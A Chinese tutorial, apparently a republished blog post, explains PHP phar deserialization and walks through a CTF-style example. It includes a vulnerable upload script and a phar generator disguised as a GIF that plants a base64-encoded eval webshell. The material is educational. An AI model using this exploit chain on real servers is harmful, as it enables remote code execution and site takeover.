phar反序列化漏洞简述

Posted 风清队网络安全专家

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了phar反序列化漏洞简述相关的知识,希望对你有一定的参考价值。

在美国的BlackHat会议上来自Secarma的安全研究员Sam Thomas发现了一种新的漏洞利用方式,即phar反序列化漏洞利用,这种攻击方式可以在不使用php函数unserialize()的前提下,引起严重的php对象的反序列化漏洞。

首先我们通过PHP手册了解phar的文件:phar:// 数据流包装器自 PHP5.3.0 起开始有效,行为受php.ini 中phar.readonly等参数设置影响;比如默认情况下phar.readonly参数为1,禁止生成phar格式文件,所以如果要生成phar文件则需要将phar.readonly参数设置为0或off;phar归档文件有三种格式:tar归档、zip归档、phar归档,前两种执行需要php安装Phar 扩展支持,用的也比较少,所以主要以phar归档格式为主。根据php手册中提到的phar文件格式描述:

phar反序列化漏洞简述

phar反序列化漏洞简述

phar的文件stub必须包含<?php __HALT_COMPILER();

phar反序列化漏洞简述

经过测试可以发现可以在stub之前增加任意的字符,比如增加jpg的头文件字符来伪装,这样可以绕过一些文件格式的检测。

下面根据PHP手册查下如何向phar文件中增加内容

phar反序列化漏洞简述

可见addFromString是以字符串的形式添加一个文件到 phar 档案,根据之前所述setMetadata和Sets phar archive meta-data会序列化meta-data数据,将生成的文件通过16进制查看,可以找到序列化数据:

<?php

@set_time_limit(0);

@ini_set('phar.readonly','0');

var_dump(ini_set('phar.readonly','0'));

var_dump(ini_get('phar.readonly'));

@unlink("phartest.phar");

$ser="phpinfo()";

$phar = newPhar('phartest.phar');

$phar->startBuffering();

$phar->setStub('<?php __HALT_COMPILER();? >');

$phar->setMetadata($ser);//将自定义meta-data存入manifest,此处的数据将被序列化存储

$phar->addFromString('test.txt','text');

$phar->stopBuffering();

phar反序列化漏洞简述

根据Sam Thomas的发现,phar中可以存储序列化后的数据,且会被一些函数触发反序列化,这些文件操作函数能反序列化关键在于使用了 phar_parse_url,之后有调用到 phar_var_unserialize;这些可以触发反序列化操作的函数有:

file_exists,file_get_contents,file_put_contents,file,fopen,readfile,copy,unlink,stat,is_file,

fileatime,filectime,filegroup,fileinode,filemtime,fileowner,fileperms,is_dir,is_executable,is_link,

is_readable,is_writable,is_writeable(同is_writable),is_uploaded_file,parse_ini_file等。

测试函数是否能触发反序列化可以使用以下代码:

create_phar.php

<?php

@ini_set('display_errors', '1');

@set_time_limit(0);

@ini_set('phar.readonly', '0');

var_dump(ini_set('phar.readonly', '0'));

var_dump(ini_get('phar.readonly'));

@unlink("phartest.phar");

class ser

{

   var $ha = 'echo "ok";';

   function __destruct()

    {

       eval($this->ha);

    }

}

$ser_class=new ser();

$phar = new Phar('phartest.phar');

$phar->startBuffering();

$phar->setStub('<?php__HALT_COMPILER(); ? >');

$phar->setMetadata($ser_class); //将自定义meta-data存入manifest,此处的数据将被序列化存储

$phar->addFromString('test.txt','text');

$phar->stopBuffering();

?>


触发phar.php

<?php

//把要进行反序列化的对象放在此处

class ser

{

   var $ha = 'echo "ok";';

   function __destruct()

    {

       eval($this->ha);

    }

}

 

$ka=new ser();

$ka->ha='echo php_uname();';

 

$myfile='phartest.phar';

echo 'test is_uploaded_file()';

var_dump(is_uploaded_file($myfile));

 

比如测试is_uploaded_file() 函数:

phar反序列化漏洞简述

可见is_uploaded_file() 函数成功触发了phar反序列化漏洞。

 

综上所述成功利用此漏洞必须基本以下条件:

1:存在文件上传点

2:存在调用文件函数参数的url,此文件参数可控,且对调用的文件参数没有过滤 : 、phar 和   字符。

3:有可利用的魔术方法可被作为pop利用链。

 

下面做个简单的例子:

某个ctf试题:

index.php

<?php

show_source('index.php');

class foo

{

   var $ha = 'echo "ok";';

   function __destruct()

    {

       eval($this->ha);

    }

}

$ka = $_GET['file'];

echo $ka;

//file_exists($ka);

var_dump(file_exists($ka));

 

upload.php

<form action=""enctype="multipart/form-data" method="post"

name="upload">file:<inputtype="file" name="file" /><br>

<input type="submit"value="upload" /></form>

 

<?php

if(!empty($_FILES["file"]))

{

   echo $_FILES["file"];

   $allowedExts = array("gif", "jpeg", "jpg","png");

   @$temp = explode(".",$_FILES["file"]["name"]);

   $extension = end($temp);

   if (((@$_FILES["file"]["type"] =="image/gif") || (@$_FILES["file"]["type"] =="image/jpeg")

   || (@$_FILES["file"]["type"] =="image/jpg") || (@$_FILES["file"]["type"] =="image/pjpeg")

   || (@$_FILES["file"]["type"] =="image/x-png") || (@$_FILES["file"]["type"] =="image/png"))

   && (@$_FILES["file"]["size"] < 102400)&& in_array($extension, $allowedExts))

    {

       move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $_FILES["file"]["name"]);

       echo "file upload successful!Save in:  " . "upload/" .$_FILES["file"]["name"];

    }

   else

    {

       echo "upload failed!";

    }

}

?>

 

通过以上代码可以发现:

1:存在上传点,且没有过滤phar://

2:存在魔术方法 foo和__destruct() ,且有eval函数

3:存在文件函数file_exists()

 

所以可以利用phar反序列化写一个webshell(其他的rce也是可以的);

A:生成phar文件:

<?php

//把要进行反序列化的对象放在此处

class foo

{

   var $ha = 'echo "ok";';

   function __destruct()

    {

       eval($this->ha);

    }

}

   //生成对应可被利用的对象

   $o = new foo();

$o->ha="file_put_contents(pathinfo(__FILE__,PATHINFO_DIRNAME).'/myshell.php',base64_decode('PD9waHAgQGV2YWwoJF9SRVFVRVNUWzg4XSk7'),FILE_APPEND);echo1;";

     @unlink("pharfile.phar");

   $phar = new Phar("pharfile.phar");

   $phar->startBuffering();

   $phar->setStub("GIF89a"."<?php __HALT_COMPILER();?>"); //设置stub,增加gif文件头用以欺骗检测

   $phar->setMetadata($o); //将自定义meta-data存入manifest

   $phar->addFromString("test.txt","test"); //添加要压缩的文件

   //签名自动计算

   $phar->stopBuffering();

     echo"finished!";

?>

 

B:上传生成的phar文件

将pharfile.phar重命名为pharfile.gif上传,记下上传后的文件路径;

phar反序列化漏洞简述



C:传递文件名,触发phar反序列化获得webshell



直接在index.php目录下生成myshell.php

 

最后给出一些phar反序列化利用ctf试题供大家参考;

1:Defcamp(DCTF) 2018-Vulturephar反序列化攻击

https://www.codercto.com/a/29207.html

2:DiscuzX 3.4 Phar反序列化漏洞

https://cloud.tencent.com/developer/news/381086

3:护网杯 easy_lavarel

题目doocker环境https://github.com/sco4x0/huwangbei2018_easy_laravel

4:2018SWPUCTF-Web SimplePHP

https://xz.aliyun.com/t/3656


以上是关于phar反序列化漏洞简述的主要内容,如果未能解决你的问题,请参考以下文章

浅析phar反序列化漏洞攻击及实战

DiscuzX 3.4 Phar反序列化漏洞

php 反序列化漏洞之phar://

利用 phar 拓展 php 反序列化漏洞攻击面

Phar反序列化漏洞原理

深入理解PHP Phar反序列化漏洞原理及利用方法